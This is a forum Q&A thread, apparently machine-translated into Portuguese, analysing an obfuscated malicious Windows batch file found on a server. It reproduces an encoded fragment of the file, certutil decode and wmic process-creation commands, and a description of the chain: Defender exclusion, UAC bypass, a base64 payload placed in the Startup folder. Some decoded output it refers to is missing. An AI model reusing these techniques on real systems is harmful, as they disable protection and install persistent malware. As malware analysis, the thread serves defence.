Eu tenho um arquivo de lote com uma carga de caracteres chineses dentro como abaixo. Quando eu executo, o arquivo é excluído. Alguma idéia de como decodificar o que é o conteúdo e o que está fazendo?
Parte do texto:
挦獬╀啰求捉縺㤸㠬┳倥䉕楌㩣㕾ㄬ䌥潈⁞景╞畐求䍉縺㘴ㄬ┶ഠ帊瀥䉕䥬㩃ㅾⰴ┱䱞瀥䉕楬㩃㕾ⰵ㜱帥瀥扵䥬㩣㑾ㄬ‥ഠ匊瑅删㵞杊╞啰䱂捉縺㌱ㄬ帥瑧塇╺啰䱂捉縺ⰴ┱╷啰䱂捉縺ㄱㄬ帥浨瀥䉕䥌㩣ㅾⰰ┱卞䡞幉⁏爥縺ⰸ┱╥㩲㑾ㄬ‥慮爥縺㈱ㄬ攥㴠┠㩲ㅾⰰ┱╡㩲㑾ㄬ挥爥縺ㄱㄬ‥╯㩲ㅾⰰ┱爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥爥縺〱ㄬ礥┠㩲ㅾⰲ┱潯爥縺㈱ㄬ㠥㔲ഠ┊㩲㡾ㄬ攥爥縺ⰴ┱┠㩲ㅾㄬ┥㩲㉾ㄬ┥㩲㑾ㄬ┥㩲ㅾⰱ┱爥縺㌱ㄬ┥㩲ㅾⰰ┱㴠┠㩲ㅾⰱ┱爥縺ⰴ┱爥縺ⰴ┱╰㩲㡾ㄬ㨥⼯爥縺ⰱ┱爥縺ⰲ┱爥縺ⰴ┱爥縺ㄱㄬ┥㩲ㅾⰳ┱爥縺〱ㄬ⸥潣爥縺㈱ㄬ⼥爥縺㈱ㄬ漥╯㩲ㅾⰲ┱㈸⼵爥縺〱ㄬ愥爥縺ⰴ┱╣㩲ㅾⰱ┱漭爥縺〱ㄬ春爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥爥縺㈱ㄬ愥敤┭㩲㉾ㄬ渥瀭╹㩲㑾ㄬ┥㩲ㅾⰱ┱湯†湞敞爥縺ⰴ┱ㅞ⁞爥縺ⰸ┱䕞爥縺ⰸ┱爥縺㐱ㄬ┥㩲ㅾⰶ┱幯⁎帾啎䱞㈠☾‱ഠ帊爥縺ⰲ┱⁆攥剒剏敌䕖╬㴠‽‰
ഠ倊幯別縺ⰹ┱剅╞㩒ㅾⰴ┱別縺ㄱㄬ帥幅幌⽬⁗⼠灥〠⽞湞別縺㜱ㄬ帥幰振帠帢摁䑞席幍偰干䙅幥幒湅䍞ⵞ䕞別縺ⰶ┱捞╬㩒ㅾⰳ┱別縺㐱ㄬ帥別縺㘱ㄬ漥乞偞╡㩒㑾ㄬ┥㩒ㅾⰵ┱✠䍞尺‧席幦副幃㭅幥別縺ⰶ┱╞㩒㉾ㄬ┥㩒㑾ㄬ‥•ഠ⤊䔠╌㩲㡾ㄬ帥
ഠ爊╥㩲ㅾㄬ‥摡爥縺㔱ㄬ䬥啃䕜癮爥縺ⰲ┱潲╮㩲ㅾⰲ┱湥爥縺ⰴ┱⼠瘯┠㩲㥾ㄬ┥㩲㉾ㄬ渥╤㩲㉾ㄬ爥⼠爥縺ⰴ┱删幅爥縺ⰵ┱╟㩲ㅾⰴ┱幚⼠≞╣㩲ㅾⰲ┱硥振┠㩲㡾ㄬ┥㩲㑾ㄬ愥╲㩲㑾ㄬ‥≜≜⁞┯㩒ㅾⰲ┱別縺ⰲ┱湞尠┢䙾尰㸢乞爥縺㌱ㄬ䰥㈠☾‱簠⁼╞㩒ㅾⰴ┱癞╣㩒ㅾⰵ┱別縺㜱ㄬ┥㩒㡾ㄬ┥㩒㑾ㄬ帥•举爥縺㌱ㄬ帥⁌㸲ㄦ†爥縺㐱ㄬ挥爥縺㔱ㄬ吥╁㩲㡾ㄬ欥爥縺ⰸ┱⼠啒⁎⽞湔尠╍㩲ㅾⰶ┱牣
Tem sido um arquivo de lote no servidor desde que um terceiro o instalou, mas agora eles faliram e estamos tentando descobrir o que está acontecendo
Quando executamos o arquivo nele, obtemos:
Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
Não se traduz em nada, então pode não ser chinês, mas isso se deve à minha ignorância mais do que qualquer outra coisa
Eu também tentei usar, iconv
mas o arquivo continua o mesmo
iconv -f utf-16 -t utf-8 batchfile.bat > filename_new.txt
Quando eu corro strings
nele, recebo algumas coisas legíveis de volta
certutil -f -decode %pooth% %pooth%
timeout 1
wmic process call create %pooth%
setlocal enableextensions
Em um editor hexadecimal, recebo o seguinte e, embora seja um pouco mais legível, ainda parece sem sentido
Na verdade, o arquivo tem texto ASCII regular (ou Windows-125x).
Parece apenas um pouco com UTF-16 contendo alguns caracteres chineses, devido a alguns bytes cuidadosamente escolhidos no início que são capazes de enganar
file
e outros softwares de detecção de caracteres. (Sua captura de tela mostra que o arquivo começa com FF FE, que é U+FEFF "Byte order mark" em UTF-16LE.)Mas eu armazeno seu exemplo como UTF-16 LE e, em seguida, peço ao meu editor de texto para interpretar diretamente esses bytes como ASCII ou Windows-1252 - não converta , mas literalmente abra o arquivo como cp1252, assim como seu editor hexadecimal fez - então recebo um arquivo normal Script em lote do Windows Cmd:
(Geralmente, os mesmos bytes podem ser lidos de várias maneiras – por exemplo, os dois bytes
2c 31
significam o caractere "ㄬ" se lido como UTF-16 LE, ou os caracteres,1
se lidos como ASCII. Por exemplo, você vê "㩲㉾ㄬ" um muito em seu editor porque, na verdader:~2,1
, é parte de uma expansão de variável em lote.)Este "gibberish" é um arquivo de lote padrão, apenas um pouco ofuscado - você está vendo muitas
%variable:~start,length%
expansões de variáveis; caracteres específicos da%PUBLIC%
variável são reagrupados em%R%
e, em seguida, caracteres específicos dessa variável são usados para criar comandos. No entanto, por exemplo,claramente significa
reg add HKCU\Environment /f /v
.Depois de construir a maior parte
%R%
adivinhando¹ e removendo muitos^
caracteres de escape estranhos, o resultado é:A primeira coisa que faz é muito suspeita - depois de verificar se tem direitos de administrador usando
net1 session
, ele adiciona toda a unidade C:\ à lista de exclusão do Windows Defender. (No caso "else" ele provavelmente tenta se elevar por meio do Agendador de Tarefas, como forma de contornar o UAC.)Com base no snippet inicial, isso pode desofuscar o restante:
¹ (Eu fiz isso no Linux e não percebi que %PUBLIC% é na verdade uma variável padrão que existe em todos os sistemas Windows...)
A julgar pelo texto existente que posso ver, acho que este é o desafio ctf de john hammond ( https://ctftime.org/task/17327 ). Tenho certeza de que john fez o desafio de uma amostra de vírus, então é que você tem o ctf de john em seu servidor por algum motivo (inofensivo) ou você tem a amostra original em seu servidor (possivelmente prejudicial).
O vírus faz um desvio do UAC (controle de conta de usuário) usando o método de desvio do UAC do agendador de tarefas (agora estou baseando isso no ctf de john) ele desativa todo o Windows Defender e, em seguida, grava um exe codificado em base64 para "C:\Users \Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup", então ele usará um utilitário do Windows chamado "certutil" que possui uma função de decodificação base64. Portanto, no total, esse arquivo de lote obterá admin, desativará o defensor e gravará a carga útil na inicialização, adicionando persistência, decodificando a carga útil e executando-a.
Eu sugiro NÃO executar isso!